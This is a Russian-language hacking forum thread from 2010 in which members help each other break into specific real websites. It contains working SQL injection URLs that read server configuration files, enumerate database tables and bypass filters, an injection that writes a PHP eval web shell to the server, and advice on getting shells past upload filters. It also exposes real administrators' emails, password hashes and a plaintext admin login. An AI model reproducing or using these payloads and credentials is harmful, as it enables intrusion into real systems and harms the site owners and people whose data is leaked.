Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,056
    Likes Received:
    615
    Reputations:
    690
    http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/var/log/apache2/error_log'),3,4,5

    http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/etc/apache2/httpd.conf'),3,4,5

    http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/etc/apache2/default-server.conf'),3,4,5
     
    _________________________
  2. 0pTik

    0pTik Banned

    Joined:
    18 Jul 2010
    Messages:
    242
    Likes Received:
    85
    Reputations:
    17
    Везде сказано про /srv/www/htdocs/ , пробовал подставлять не пишет (
     
  3. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    461
    Likes Received:
    62
    Reputations:
    26
    hxxp://www.enzymedica.com/locator/results_list.php?zip=1' помогите расскрутить чучуть. а то не могу чето лимит =\
     
    #15063 GroM88, 14 Oct 2010
    Last edited: 14 Oct 2010
  4. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.enzymedica.com/locator/results_list.php?zip=-1%27+union+select+1,version%28%29,user%28%29,database%28%29,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+--+
    admins
    name:email:password

    [0]:KimJackson:kimjackson@enzymedica.com:c4666c6c787192575aded2c73d27278a
    [1]:Enzymedica:eek:rders@enzymedica.com:655ef9fec684d343351ee72dbeb95dd6
    [2]:Kim Barton:kim@enzymedica.com:655ef9fec684d343351ee72dbeb95dd6
    [3]:Admin Area:eek:rder@enzymedica.com:e69dc2c09e8da6259422d987ccbe95b5
    [4]:cornerstone:julianna@cornerstone1.com:f326e2c3453cf64cdb979e1c8d53293d
    [5]:WebTent:support@webtent.com:e1197bbf2f07992aa7936c49d3b41319
     
    #15064 Gorev, 14 Oct 2010
    Last edited: 14 Oct 2010
    1 person likes this.
  5. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    461
    Likes Received:
    62
    Reputations:
    26
    Gorev спасибо.
    Тут вот другой вопрос возник
    при запросе :
    http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+information_schema.tables+--+
    Мне выдает какую то будылыгу = \
    Service Temporarily Unavailable
    The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

    При таком запросе:
    http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,table_name,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+information_schema.tables+limit+0,1+--+
    Странно. Мб кто нибудь знает почему не выводит названия таблиц?
     
    #15065 GroM88, 14 Oct 2010
    Last edited: 14 Oct 2010
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.enzymedica.com/locator/results_list.php?zip=1%27+UNION+SELECT+1,AES_DECRYPT%28AES_ENCRYPT%28CONCAT%28%28SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1%29%29,0x71%29,0x71%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--%20+
     
  7. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    А какую инъекцию составляешь?
    Вот так не работает?

    http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,%27<?eval($_GET[cmd]);die;?>%27,3,4,5+from+mysql.user+into+outfile+%27/srv/www/htdocs/php/newdesign/nacional/1.php%27


    И шелл должен быть тут
    http://www.eurotur.com.ar/php/newdesign/nacional/1.php
    Если нет, то скорей всего папка недоступна на запись. Попробуй найти другую.
     
  8. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+information_schema./*!tables*/+--+

    И вообще..

    где столбцы 3,4 потерял? =)
     
    #15068 R1dex, 14 Oct 2010
    Last edited: 14 Oct 2010
    2 people like this.
  9. 0pTik

    0pTik Banned

    Joined:
    18 Jul 2010
    Messages:
    242
    Likes Received:
    85
    Reputations:
    17
    Да не доступна
     
  10. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    461
    Likes Received:
    62
    Reputations:
    26
    Всем огромный респект за помощь со скулей)
    тут другой вопрос пожоще = )
    как залить шел?)
    Есть полный доступ к админке)
    https://enzymedica.com/admin/
    login: order@enzymedica.com
    pass: asdqwe123
    В админке я нашол только залитие картинок = ) php не пропускает = \
    очень нужно взять пару php файлов оттуда = \
     
  11. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Попробуй в эти папки записать:
    /html/images/
    /php/
    /php/newdesign/receptivo/
    /php/newdesign/receptivo/ingles/
    /manual/ - тут можешь визуально посмотреть
    /html/
     
  12. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Фильтрация идет по расширению или по содержимому?
    Если по расширению, попробуй так wso.php3, wso.php5, wso.phtml и т.д.
    Если по содержимому, то попробуй в gif-картинку дописать шелл.
     
    1 person likes this.
  13. 0pTik

    0pTik Banned

    Joined:
    18 Jul 2010
    Messages:
    242
    Likes Received:
    85
    Reputations:
    17
    Эх никуда не пишет((
     
  14. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    461
    Likes Received:
    62
    Reputations:
    26
    Мб у кого нить есть уже зделаная картинка с шелом? :j
     
  15. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    Нажимаешь ПКМ > переименовать > .gif > картинка шелл.
     
  16. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    461
    Likes Received:
    62
    Reputations:
    26
    Да не) это я уже пробовал) не заливает = \
     
  17. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    3 года на форуме...мдяс.....не стыдно такие вопросы задавать?
     
  18. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    461
    Likes Received:
    62
    Reputations:
    26
    Да это я регнулся 3 года назад) а посещать его начал недавно : ))
    P.S. Скинь запрос как ты выводил названия колонок из таблиц плз : ))
    ;)
     
  19. Mirrey

    Mirrey New Member

    Joined:
    10 Sep 2010
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Есть скуля, таблицы можно выводить только по одной, через limit. Как можно вывести сразу все таблицы?
     
  20. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    289
    Reputations:
    195
    Пробуй подменить Content-Type.

    Оффтоп: Вам не надоело задавать однообразные вопросы? Все ответы на них, есть в этой ветке, нужно только воспользоваться поиском.
     
Loading...
Thread Status:
Not open for further replies.